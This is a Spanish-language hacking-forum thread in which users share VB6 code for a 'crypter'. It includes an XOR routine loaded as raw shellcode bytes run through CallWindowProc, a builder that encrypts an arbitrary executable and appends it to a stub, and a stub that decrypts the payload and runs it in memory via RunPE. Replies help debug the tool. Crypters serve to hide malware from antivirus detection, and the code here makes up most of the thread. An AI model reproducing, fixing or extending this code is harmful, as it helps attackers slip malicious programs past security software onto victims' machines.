XOR encryption ASM

Iniciado por Expermicid, Junio 18, 2012, 10:25:25 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 18, 2012, 10:25:25 AM Ultima modificación: Mayo 12, 2014, 03:36:40 PM por Expermicid
Código: vb
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcW" (ByVal ptrMC As Long, ByVal P1 As Long, ByVal P2 As Long, ByVal P3 As Long, ByVal P4 As Long) As Long
Private MyByteXor(93) As Byte ' Byte array (hold the ASM ShellCode)
Private ptrMC As Long 'Byte array Pointer Store Value

Public Function ASMXORString(Str As String, Password As String) As String
  Call LeggiCodiceMasm32
  Call CallWindowProc(ptrMC, StrPtr(Str), Len(Str), StrPtr(Password), Len(Password))
        ASMXORString = Str
End Function

Public Sub ASMXORByte(ByteA() As Byte, Password As String)
  Call LeggiCodiceMasm32
  Call CallWindowProc(ptrMC, VarPtr(ByteA(0)), UBound(ByteA), StrPtr(Password), Len(Password))
End Sub


Sub LeggiCodiceMasm32()
MyByteXor(0) = 85
MyByteXor(1) = 137
MyByteXor(2) = 229
MyByteXor(3) = 83
MyByteXor(4) = 86
MyByteXor(5) = 87
MyByteXor(6) = 139
MyByteXor(7) = 69
MyByteXor(8) = 12
MyByteXor(9) = 133
MyByteXor(10) = 192
MyByteXor(11) = 116
MyByteXor(12) = 70
MyByteXor(13) = 139
MyByteXor(14) = 69
MyByteXor(15) = 20
MyByteXor(16) = 133
MyByteXor(17) = 192
MyByteXor(18) = 116
MyByteXor(19) = 63
MyByteXor(20) = 139
MyByteXor(21) = 77
MyByteXor(22) = 12
MyByteXor(23) = 209
MyByteXor(24) = 225
MyByteXor(25) = 139
MyByteXor(26) = 85
MyByteXor(27) = 8
MyByteXor(28) = 1
MyByteXor(29) = 202
MyByteXor(30) = 247
MyByteXor(31) = 217
MyByteXor(32) = 139
MyByteXor(33) = 93
MyByteXor(34) = 20
MyByteXor(35) = 209
MyByteXor(36) = 227
MyByteXor(37) = 139
MyByteXor(38) = 69
MyByteXor(39) = 16
MyByteXor(40) = 1
MyByteXor(41) = 216
MyByteXor(42) = 137
MyByteXor(43) = 69
MyByteXor(44) = 16
MyByteXor(45) = 247
MyByteXor(46) = 219
MyByteXor(47) = 137
MyByteXor(48) = 93
MyByteXor(49) = 20
MyByteXor(50) = 139
MyByteXor(51) = 4
MyByteXor(52) = 10
MyByteXor(53) = 3
MyByteXor(54) = 93
MyByteXor(55) = 16
MyByteXor(56) = 50
MyByteXor(57) = 3
MyByteXor(58) = 43
MyByteXor(59) = 93
MyByteXor(60) = 16
MyByteXor(61) = 129
MyByteXor(62) = 195
MyByteXor(63) = 2
MyByteXor(64) = 0
MyByteXor(65) = 0
MyByteXor(66) = 0
MyByteXor(67) = 117
MyByteXor(68) = 3
MyByteXor(69) = 139
MyByteXor(70) = 93
MyByteXor(71) = 20
MyByteXor(72) = 137
MyByteXor(73) = 4
MyByteXor(74) = 10
MyByteXor(75) = 129
MyByteXor(76) = 193
MyByteXor(77) = 2
MyByteXor(78) = 0
MyByteXor(79) = 0
MyByteXor(80) = 0
MyByteXor(81) = 117
MyByteXor(82) = 223
MyByteXor(83) = 49
MyByteXor(84) = 192
MyByteXor(85) = 95
MyByteXor(86) = 94
MyByteXor(87) = 91
MyByteXor(88) = 137
MyByteXor(89) = 236
MyByteXor(90) = 93
MyByteXor(91) = 194
MyByteXor(92) = 16
MyByteXor(93) = 0
ptrMC = VarPtr(MyByteXor(0))

End Sub


Fuente: OpenSc

Estuve chequeando esta encriptación y no la puedo echar a correr... a ver si me pueden ayudar... estoy haciendo un crypter en vb6, la función de encriptación es "ASMXORString" esta misma se usa en el stub??? para descriptar... me sale error 9... al encriptar una bolita... a ver si me pueden ayudar...
Nunca consideres el estudio como una obligación, sino como una oportunidad para penetrar en el bello y maravilloso mundo del saber.

Tal vez podrias poner aqui el code de tu stub para asi poder darle una ojeada, pero a primera vista, parece ser que no pasas bien los parametros.

-Saludos-

Bro gracias por la ayuda!! el runpe es de pink y los códigos son los siguientes:


stub:

Código: php
Dim Yopo As String, Clave As String, Jclas As New Class1, Archivo As String, dattos() As Byte



Sub Main()

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Yopo = Space(LOF(1))
Get #1, , Yopo
Close #1

Clave = Split(Yopo, "~<{symphonatik}>~")(1)
Archivo = Split(Yopo, "~<{symphonatik}>~")(2)

Archivo = Jclas.DecryptString(Archivo, Clave)

dattos() = StrConv(Archivo, vbFromUnicode)
Call RunPE(App.Path & "\" & App.EXEName & ".exe", dattos())

End Sub





Builder:

Código: php
Dim origenStub As String

Public Function sRndStr(sLen As Long) As String
'Autor: Slek
'Propósito: Generar una Str Aleatoria
'v.1 Indetectables.net
Dim lPos As Long, i As Long
Const Str As String = "$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz"

Randomize Timer
For i = 1 To sLen
lPos = Rnd * 14373 Mod Len(Str)

sRndStr = sRndStr & Mid(Str, lPos + 1, 1)
Next i
End Function
Private Sub CEncriptar_Click()
Dim Origen As String, Destino As String, Cifrado As String, hatsune() As Byte, miku As String, archivo As String, Jclas As New Class1

With CD
.DialogTitle = "Archivo a encriptar..."
.Filter = "todos los archivos|*.*"
.ShowOpen
End With
If CD.Filename <> vbNullString Then
Origen = CD.Filename
End If

With CD
.DialogTitle = "Donde guardaras el archivo..."
.Filter = "Archivo ejecutable|*.exe"
.ShowSave
End With
If CD.Filename <> vbNullString Then
Destino = CD.Filename
End If

Cifrado = sRndStr(49)


Open Origen For Binary As #1
archivo = Space(LOF(1))
Get #1, , archivo
Close #1

archivo = Jclas.EncryptString(archivo, Cifrado)


Open origenStub For Binary As #1
miku = Space(LOF(1))
Get #1, , miku
Close #1

Open Destino For Binary As #1
Put #1, , miku
Put #1, , "~<{symphonatik}>~"
Put #1, , Cifrado
Put #1, , "~<{symphonatik}>~"
Put #1, , archivo
Close #1

MsgBox "que lo disfrutes!!!"

End Sub

Public Sub CSelStub_Click()

With CD
.DialogTitle = "Selecciona el stub..."
.Filter = "ejecutables|*.exe"
.ShowOpen
End With
If CD.Filename <> vbNullString Then
origenStub = CD.Filename
End If

CEncriptar.Enabled = True
End Sub
Nunca consideres el estudio como una obligación, sino como una oportunidad para penetrar en el bello y maravilloso mundo del saber.

nadie sabe que pasa??
Nunca consideres el estudio como una obligación, sino como una oportunidad para penetrar en el bello y maravilloso mundo del saber.

Haz el split de otra manera, esa siempre me dio problemas.

-Saludos-